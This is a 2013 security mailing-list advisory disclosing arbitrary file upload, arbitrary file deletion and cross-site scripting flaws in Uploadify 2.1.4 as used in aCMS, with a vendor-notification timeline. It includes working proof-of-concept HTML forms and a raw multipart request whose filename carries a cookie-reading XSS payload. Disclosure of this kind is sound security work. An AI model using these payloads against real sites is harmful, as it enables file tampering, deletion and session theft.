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AFU, AFD and XSS vulnerabilities in Uploadify

From: "MustLive" <mustlive () websecurity com ua>
Date: Fri, 13 Sep 2013 23:56:28 +0300

Hello list!

These are Arbitrary File Uploading, Arbitrary File Deletion and Cross-SiteScripting vulnerabilities in Uploadify. Particularly in the version used inaCMS (it looks like these developers use modified version of Uploadify, butother developers also can use such version).


-------------------------
Affected products:
-------------------------

Vulnerable are Uploadify v2.1.4 and potentially other versions. Particularlyversion in aCMS. Versions Uploadify 3.x are not vulnerable.


----------
Details:
----------

Arbitrary File Uploading (WASC-31):

http://websecurity.com.ua/uploads/2013/Uploadify%20AFU.html

<body>

<form action="http://site/uploadify.php"; method="post"enctype="multipart/form-data">

<input type="file" name="Filedata">
<input type="hidden" name="folder" value="/uploadify/">
<input type="submit" value="OK">
</form>
</body>

Arbitrary File Deletion (WASC-42):

http://websecurity.com.ua/uploads/2013/Uploadify%20AFD.html

<body>

<form action="http://site/uploadify.php"; method="post"enctype="multipart/form-data">

<input type="file" name="test">
<input type="hidden" name="newfile" value="/full/path/uploadify/1">
<input type="submit" value="OK">
</form>
</body>

Cross-Site Scripting (WASC-08):

http://websecurity.com.ua/uploads/2013/Uploadify%20XSS.html

<body>

<form action="http://site/uploadify.php"; method="post"enctype="multipart/form-data">

<input type="file" name="test">

<input type="hidden" name="newfile" value="<bodyonload=alert(document.cookie)>">

<input type="submit" value="OK">
</form>
</body>

http://websecurity.com.ua/uploads/2013/Uploadify%20XSS-2.html

<body>

<form action="http://site/uploadify.php"; method="post"enctype="multipart/form-data">

<input type="file" name="Filedata">
<input type="hidden" name="folder" value="/uploadify">
<input type="submit" value="OK">
</form>
</body>

The second attack can be done on Linux/Unix systems, where angle bracketscan be used, or with spoofing headers.


With the next headers (to specify XSS payload in extension):

POST http://site/uploadify.php

-----------------------------240841995418756\r\n

Content-Disposition: form-data; name="Filedata"; filename="test.<bodyonload=with(document)alert(cookie)>"\r\n

Content-Type: application/octet-stream\r\n
\r\n
test\r\n
\r\n
-----------------------------240841995418756\r\n
Content-Disposition: form-data; name="folder"\r\n
\r\n
/uploadify\r\n
-----------------------------240841995418756--\r\n

------------
Timeline:

------------

2013.03.04 - informed developers of aCMS about part of the vulnerabilities.

2013.04.03 - informed developers of aCMS about another part of thevulnerabilities.2013.04.07 - informed developers of aCMS about another part of thevulnerabilities.2013.05.25 - informed developers of aCMS about another part of thevulnerabilities.2013.05.26 - informed developers of aCMS about another part of thevulnerabilities.In all cases the developers just ignored all messages via different e-mailsand contact form.

2013.06.12 - announced at my site.
2013.06.22 - informed developers of Uploadify.
2013.09.12 - disclosed at my site (http://websecurity.com.ua/6566/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site

http://websecurity.com.ua


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AFU, AFD and XSS vulnerabilities in Uploadify MustLive (Sep 13)